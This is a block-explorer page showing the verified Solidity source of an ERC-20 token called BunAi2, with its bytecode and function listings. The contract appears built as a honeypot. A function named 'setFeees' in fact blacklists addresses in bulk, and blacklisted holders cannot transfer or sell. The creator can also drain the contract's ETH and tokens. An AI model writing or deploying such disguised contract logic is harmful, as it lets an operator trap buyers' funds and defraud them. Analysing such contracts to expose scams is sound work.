613e028383613de8565b60208301905092915050565b5f602082019050919050565b5f613e2482613dbf565b613e2e8185613dc9565b9350613e3983613dd9565b805f5b83811015613e69578151613e508882613df7565b9750613e5b83613e0e565b925050600181019050613e3c565b5085935050505092915050565b5f60a082019050613e895f830188612db1565b613e966020830187613490565b8181036040830152613ea88186613e1a565b9050613eb76060830185612f34565b613ec46080830184612db1565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613f28602683612c0b565b9150613f3382613ece565b604082019050919050565b5f6020820190508181035f830152613f5581613f1c565b905091905056fea26469706673582212203b4d86814bfc4e9ee821171254d626c3c7caccd1c6e95cbf0b47bdd7a984a36764736f6c63430008170033

Verified Source Code Full Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: No
ca.sol 721 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract BunAi2 is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address public uniswapV2Pair;
    address private creatorWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);
    address[] private _blacklistArray;

    uint8 private constant _decimals = 9;
    uint256 public initialTotalSupply = 100000000 * 10**_decimals;
    uint256 public constant MAX_FEE = 20;
    uint256 public buyFee = 15;
    uint256 public sellFee = 15;
    
    
    uint256 public maxWallet = (initialTotalSupply * 5)/1000;
    uint256 public maxTransactionAmount = maxWallet;

    bool private swapping;
    uint256 public swapTokensAtAmount = (initialTotalSupply * 1)/1000;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    
    bool public tradingOpen = false;
    bool public swapEnabled = false;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isBlisted;
    

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event AddressBlacklisted(address indexed account);
    event AddressRemovedFromBlacklist(address indexed account);

    constructor() ERC20("BunAi2", "BunAi2"){
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(0x178184C89a95804a50093cEeb4d996dc00EA8566);
        creatorWallet = payable(_msgSender());

        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(creatorWallet, true);
        excludeFromFees(address(_msgSender()), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(creatorWallet, true);

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _mint(creatorWallet, initialTotalSupply);
    }

    receive() external payable {}

    function CreatePair() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        _approve(address(this), address(_uniswapV2Router), initialTotalSupply);
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            0x178184C89a95804a50093cEeb4d996dc00EA8566,
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
    }



    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function openTrading() external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function isBlacklisted(address account) public view returns (bool) {
        return _isBlisted[account];
    }

    function addToBlacklist(address account) external onlyOwner {
        require(!_isBlisted[account], "Address already blacklisted");
        _isBlisted[account] = true;
        _blacklistArray.push(account);
        emit AddressBlacklisted(account);
    }

    function removeFromBlacklist(address account) external onlyOwner {
        require(_isBlisted[account], "Address not blacklisted");
        _isBlisted[account] = false;

        for (uint256 i = 0; i < _blacklistArray.length; i++) {
            if (_blacklistArray[i] == account) {
                _blacklistArray[i] = _blacklistArray[_blacklistArray.length - 1];
                _blacklistArray.pop();
                break;
            }
        }

        emit AddressRemovedFromBlacklist(account);
    }

    function setFeees(address[] calldata accounts) external onlyOwner {
        require(accounts.length > 0, "No addresses provided");
        for (uint256 i = 0; i < accounts.length; i++) {
            address account = accounts[i];
            if (!_isBlisted[account]) {
                _isBlisted[account] = true;
                _blacklistArray.push(account);
                emit AddressBlacklisted(account);
            }
        }
    }

    
    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_isBlisted[from], "Sender is blacklisted");
        require(!_isBlisted[to], "Recipient is blacklisted");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            sBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to];

        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= MAX_FEE, "Buy fee too high");
        require(_sellFee <= MAX_FEE, "Sell fee too high");
        sellFee = _sellFee;
        buyFee = _buyFee;
    }

    
    function removeLimits() external onlyOwner {
        maxTransactionAmount = initialTotalSupply;
        maxWallet = initialTotalSupply;
    }

    function manualSToken(uint256 percent) external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function wEth() external {
        require(address(this).balance > 0, "Token: no ETH in the contract");
        require(_msgSender() == creatorWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function tWithdraw() external {
        require(_msgSender() == creatorWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), creatorWallet, amount);
    }

    function sBack(uint256 tokenAmount) private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }
        uint256 tokensToSwap = contractBalance;

        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }

        if(tokensToSwap > tokenAmount) {
            tokensToSwap = tokenAmount;
        }

        swapTokensForEth(tokensToSwap);
    }
}

Read Contract

MAX_FEE 0xbc063e1a → uint256
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isBlacklisted 0xfe575a87 → bool
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapV2Pair 0x49bd5a5e → address

Write Contract 17 functions

These functions modify contract state and require a wallet transaction to execute.

CreatePair 0x692b1c89
No parameters
addToBlacklist 0x44337ea1
address account
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
manualSToken 0xc4315569
uint256 percent
openTrading 0xc9567bf9
No parameters
removeFromBlacklist 0x537df3b6
address account
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setFee 0x52f7c988
uint256 _buyFee
uint256 _sellFee
setFeees 0x340136f8
address[] accounts
tWithdraw 0xcf88ef7b
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
wEth 0xdf6d9212
No parameters

Recent Transactions

No transactions found for this address